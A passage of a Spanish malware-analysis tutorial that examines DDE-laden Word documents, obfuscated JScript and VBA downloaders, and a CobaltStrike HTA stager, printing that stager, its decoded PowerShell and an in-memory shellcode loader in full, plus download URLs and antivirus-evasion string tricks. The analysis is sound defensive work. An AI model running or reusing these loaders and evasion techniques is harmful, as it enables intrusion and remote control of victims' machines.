`…. (395 KB/s) - “ecmk.exe” guardado [1359360/1359360]`
…… Y el resto del malware.

Parte 4:

El siguiente es: 9690051ee1cb4c8fd3462f0aaeb1ab54-warehouse.docx

Un vistazo manual (con strings) en el documento podría ser útil pero, en este caso, no. No se ve nada relevante en un principio.

Los docx son como los zip, si los renombras a zip y lo extraes, puedes ver una estructura, los xmls, etc. Utilizaremos zipdump.py.

Las reglas Yara son muy útiles en muchos casos, este es uno de ellos (veamos algunos ejemplos):

$ python zipdump.py -D 9690051ee1cb4c8fd3462f0aaeb1ab54-warehouse.docx | yara DDE_inOffice.yara
MC_Office_DDE_Command_Execution DDE_inOffice.yara

$ python zipdump.py -D "cb1c08fac545b7c589d4b23087b43430-SWIFT MESSAGE.docx" | yara DDE_inOffice.yara
MC_Office_DDE_Command_Execution DDE_inOffice.yara

$ python zipdump.py -D "NanoCore-Balance Statement.docx" | yara DDE_inOffice.yara
MC_Office_DDE_Command_Execution DDE_inOffice.yara

Vemos coincidencias, por lo que ya tenemos una idea de lo que va a pasar.

Vamos a aprovechar la opción en “zipdump.py” donde le puedes poner la regla Yara que quieres utilizar, así se verá mejor:

$ python zipdump.py -y DDE_inOffice.yara 9690051ee1cb4c8fd3462f0aaeb1ab54-warehouse.docx
Index Filename Decoder YARA namespace YARA rule 4 word/document.xml DDE_inOffice.yara Office_DDE_field 4 word/document.xml DDE_inOffice.yara MC_Office_DDE_Command_Execution

Si abrimos el malware en un entorno controlado, es decir, no nos importa infectarnos :P, vemos el siguiente mensaje:

Ejecución de malware

Pulsamos en “Sí”. Nos aparece el siguiente mensaje:

-NoP -sta -NonI Hidden -c

Con estos mensajes ya se ve lo que intenta (más información en estos enlaces):

Abrimos el debugger y ponemos Breakpoints en CreateProcess[A|W] que a más bajo nivel llamará a CreateProcessInternalW, en este caso.

Inmunity Debugger

Lo dicho.

CreateProcessInternalW

Ya tenemos la ruta del malware, (Espacios Insertados) : "hxxp://dailycare4u. co. uk/assets/img/background.jpg".

Parte 6

Ya hemos visto varios ejemplos de documentos ofimáticos, pasaremos a los de scripting como javascript, visual basic script, etc.

Tenemos la siguiente muestra:

Factrue-Orange

Aparentemente, se trata de una factura, ¿en javascript?

Lo abrimos con mi aplicación favorita para estos casos:

Execute VBS/JS by Rafa

Han utilizado un ofuscador comercial, así que habrá que desofuscarlo.

Utilizo mi programa que automatiza el proceso de escribir en el fichero original los cambios necesarios para ejecutarlo y capturar la respuesta.

Cambio el "eval" por "WScript.Echo", sencillo, ¿verdad?

WScript.Echo

Y pulso en ejecutar (el botón de play).

Ejecución ( Botón Play )

De nuevo, está ofuscado, no se ve nada a simple vista. Vemos otro “eval”, lo volvemos a cambiar.

Sustitución eval

Nos pasa lo mismo que en Windows, a veces, ERROR FATAL! (es broma)

Error en ejecución

Como veis, distingue entre mayúsculas y minúsculas: "WScript.Echo", así que lo arreglamos.

Cambio Case Sensitive

Y ya tenemos el contenido de forma adecuada.

Este código ya es legible.

Código legible

Y aquí tenemos hacia donde se conecta y todo lo demás.

De forma adicional, se puede utilizar una máquina virtual (no nos importa infectarnos) y utilizar ApateDNS para comprobarlo:

ApateDNS

Parte 7:

Le toca el turno a VBA (Visual Basic for Applications).

My Online Security

Nos dicen cual es la muestra y 1 dominio al que se conecta:

Muestra de Malware

Parece que se descarga algo de “pamplonarecados.com”.

Solamente lo reconocen 4 antivirus:

Virus Total

Solamente aparece ese dominio, pero seguramente haya más dentro del malware. Si se analiza el mismo en un entorno como un Cuckoo o similar, si se conecta al primero (hablo de los downloaders), ya no aparecen los demás a donde iría en caso de fallo. Esto es importante, porque en las plataformas online, en muchos casos se ve 1 dominio o ip y en realidad hay alguno más.

Un truco clásico que utilizan este tipo de Malware para no ser detectados es cortar de alguna forma las cadenas.

Corte de cadena de caracteres

“WScript.Shell” indica que va a ejecutar algo, sería algo parecido a las funciones de la API “ShellExecute[A|W]” o “WinExec”. Los antivirus suelen buscar la cadena al completo, pero y si se programa de esta manera, "WS"+"cript.Shell", a veces el Antivirus no se entera. Con estos simples cambios, logran saltarse las detecciones.

Si bajamos un poco más en el script, vemos lo siguiente:

Evasión de Antivirus

De nuevo, "http://" al revés, ".exe" al revés... así que vamos a ponerlo todo como es debido.

Para ello utilizo mi aplicación:

Aplicación by Rafa

Con las cadenas resultantes, intuimos que descargará algo de algún sitio web (http://) con XMLHTTP, lo guardará en el temporal, lo llamará VTflxABUKQX.exe y lo ejecutará (WScript.Shell).

Sólo nos queda saber desde donde descargará el malware, bajamos un poco más en el script:

Url descarga Malware

Se ven a simple vista (el comando strings hubiera sido útil), son 3 en total.

Urls Malware

IMPORTANTE: Tened esto en cuenta, que en las plataformas online aparecerá el primer sitio al que se conecta, el resto no, hay que sacarlos todos.

Parte 8:

El último del artículo.

CobaltStrike

Este es el contenido:

<script language="VBScript">
window.moveTo -4000, -4000
Set u0wfiRp4a = CreateObject("Wscript.Shell")
Set xyK8QYHNjsqT = CreateObject("Scripting.FileSystemObject")
For each path in Split(u0wfiRp4a.ExpandEnvironmentStrings("%PSModulePath%"),";")
If xyK8QYHNjsqT.FileExists(path + "\..\powershell.exe") Then
u0wfiRp4a.Run "powershell.exe -nop -w hidden -e
aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAn
AHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYA
OgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3
AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcA
fQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBv
AHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkA
bABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAg
AC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0A
OgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBh
AG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUA
cwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAg
AEkATwAuAE...
aQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAu
AFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEA
dABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBE
AGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQA
cwApADsA",0
Exit For
End If
Next
window.close()
</script>

Utilizaremos el comando “base64 -d”, de los más utilizados en el mundo del malware.

Base 64

Se trata de un script en powershell:

if([IntPtr]::Size -eq 4)``{$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1 .0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,
[Convert]::FromBase64String (''H4sIAAvAMFoCA7VWbW/aSBD+nEr9D1aFhFEJ2ECSS6RIZwMGJ5hAjM3bodPGXuOFtdex18HQ 63+/MS9tqqZ37Um3Anl3dmZ25pmZnfXS0OGEhQK7WrWET+/fnQ1QjAJBLITuStuWhUIklc7OgF7I MqoKt4I4V6KoxQJEwsXNTTONYxzyw7rSwVxJEhw8UYITsST8JYx9HOPzh6cVdrjwSSj8WelQ9oTo kW3bRI6PhXMldPO9HnNQbk3FjCjhYvGPP4ql+bm8qLSfU0QTsWhuE46DiktpsSR8LuUHjrYRFosG cWKWMI9XxiSs1ypWmCAP90HbCzYw95mbFEvgBfxizNM4FPb+5AoO22IRpoOYOYrrxjgB7ooevrA1 BiRSSsvC7+L8ePpjGnISYNjnOGaRieMX4uCk0kWhS/Ej9hZiH29OTv+skPhaCLgGPC6VIQ5vmGkw N6X4IFksfW/oIXYlGIf4geOf3797/847BdtLN/7rYMPsbL6fY7BOHLCE7PluBaksGHAO4izewrIw ilNcWgjzHPX5YiEU4otrv/xjefnEDKy7365HQJrbjLgLEDnGo8DaOfXHWdXCHglxaxuigDinxBHf whh7FO89rJzY+mCSWDxuYLeFKV4inqNWFubfi7UDwr/IqimhLo4VB+KUgFUQwtK3xhwCIRb10MAB IHRYFwF1D9IVn7iPKbo9nZ6vganYpChJysIghXpxyoKJEcVuWVDChBy3lJSz/bT41VwjpZw4KOEn dYvSAcXjaU0WJjxOHQgZeD4yI+wQRHMgykKXuFjdmmR5OrX4JgxNRCkJl6DpBcIAlNx9k+eJEIOB +6CXKibmehBRHADPvmw1ipZQpMdU32cOWmK3+K19p0Q+ZG2OwwmAV9ZBcE3KeFmwScyh9nNM8/z5 b4e/qnowoxnjYxDEU2XM1S3P87ngB3kuHhHZ+x9z8F2LWaCiBF82TB4DMuKH6gNpKjCmekgNR10T WdkQWTfgb5G6zlpX7v3dqluNW5nvKXqiG91Ba9jtNl7uTLvBzbbO7wc6N9qT1cpUuo/WlM90pTsi 0nra2EV3ZGf2FHeaVS936m4jqdlutXS9acvzllee+ShfaKQ3bg5VqYZ6rXbaG6sbVWokbbLpDok1 XN9p/GlqU2R51eVEvkYk68UrW2ZPgS0pHb+OxheR3fENdzvtVq+trCb3Rxb8USsaY+RVZRvmS6DV Vlc6+HnZdFT4vPTrUc/qqlNU48/9cbR5bMrhqN6/fOiqTcuKuqMVjYZ1GrjatTWsbTbTsS0bEvVd W71zOjx8rFF9JMkTtHYDs53d250oc4JsZ3TatZndD8zRrG6th5m7c6V+aGtPba4Pqc1mrSk3V+3N w9ifml2b2BN9Z+zcyJlY8nB8t7U619TU+hezrbyeTijvd9zMle+G1sTOnqTsZaS5zFrPbLuuyP2O dqloKrMbgZe9VG3izEZIUbYN/THHADTO2KVspQ/Vqk0Ddj+pEcXYKArB6rOqqc9d2HcthH2Qtfa4 zVhvOJ1i4PcdVdY6RG8DP2qPNn3cqsrWtbzDfi/PF7RWmZIj2VkqSltRrJo/jbQBrV6PQc/D3YXs MiXPLK0/Rur9mOBeVZ5OFNf42FM33Vau/8JetSYf/bgKw9gNU2OlZL1VO+ubja0xWipptSkzOntW tEFVHt7efshrAIqgsGsZ7qv8/lFPMlCc+IhC3kOzOd0yGou1Y/8YMJJLiOL+0bDGcYgp9Fzoyqdy VShlTt6+9p0GWuehoS3gtrFgWq+9OSsJXxhLX9vaiXRzMwMr4QLwg0oPh0vul6WsLknQoqSsIYGP P+9Xk0VbERSV8wa3h+Wgl+71lvIroZCM/l+ojteQDx/336D6SvuH3Z+CTyof3P2O/C3hl9D8ZdfH iHDgNOEmpfjQw99G4JgXr944yQii7h1H/sJ8SPl5Hx4+fwPS29m9ygoAAA==''))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellEx ecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.Crea teNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);

Tenemos un stream comprimido y una cadena codificada en base64: GzipStream y FromBase64String.

Base 64 y Gzip

Concateno un par de comandos, “base64 -d” y “gzip -cd”.

function o7jD {
Param ($ndjFy, $p0)
$xxlB = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

return $xxlB.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($xxlB.GetMethod('GetModuleHandle')).Invoke($null, @($ndjFy)))), $p0)) }

function fuwh {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $r59h,
[Parameter(Position = 1)] [Type] $z89T = [Void] )

$oE = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $oE.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $r59h).SetImplementationFlags('Runtime, Managed') $oE.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $z89T, $r59h).SetImplementationFlags('Runtime, Managed')

return $oE.CreateType() }

[Byte[]]$hm = [System.Convert]::FromBase64String ("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEX
jjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04
sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1obmV0AGh3aW5pVGhMdyYH/9Ux21NTU1NTaDpWeaf/1V
NTagNTU2j7IAAA6CcBAAAvN3pLUHBYa2tqNWpwRC1nT3N6OHBCUUpHTjlpQ3lmdF9UQ2wwYWV1M0
lhdVBJcGtnR2lIT01XakdmSExKVGpxcmxzMGE2ZVNmSTZ3UkQxdzd0NnVFbEtIQlVoZDYtSjEwOW
hYSHViVXIzMzdpcXU1QWJyUG9lSFN5Zy1kYXltNGdxd1JQUXVxb0xvTFdoUkZVV3A1NGF6AFBoV4
mfxv/VicZTaAAy4IRTU1NXU1Zo61UuO//VlmoKX2iAMwAAieBqBFBqH1ZodUaehv/VU1NTU1ZoLQ
YYe//VhcB1FGiIEwAAaETwNeD/1U91zehLAAAAakBoABAAAGgAAEAAU2hYpFPl/9WTU1OJ51doAC
AAAFNWaBKWieL/1YXAdM+LBwHDhcB15VjDX+hr////MzQuMjAxLjExNS4yMTgAu/C1olZqAFP/1Q
==")

$zDMd = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((o7jD kernel32.dll VirtualAlloc), (fuwh @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $hm.Length,0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($hm, 0, $zDMd, $hm.length)

$sT = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((o7jD kernel32.dll CreateThread), (fuwh @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$zDMd,[IntPtr]::Zero,0,[IntPtr]::Zero) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((o7jD kernel32.dll WaitForSingleObject ), (fuwh @([IntPtr], [Int32]))).Invoke($sT,0xffffffff) | Out-Null

Ya va tomando forma de lo que va a pasar.

Traduzco todo esto, se va a reservar memoria y se va a crear un hilo con el contenido de algo (el payload está en negrita).

Voy a extraer el payload y ver su contenido:

Payload Malware

Y aquí tenemos el contenido el contenido de ese payload.

Espero que os haya gustado los ejemplos... lo dicho hay tantas formas de hacerlo como personas en el mundo ;-)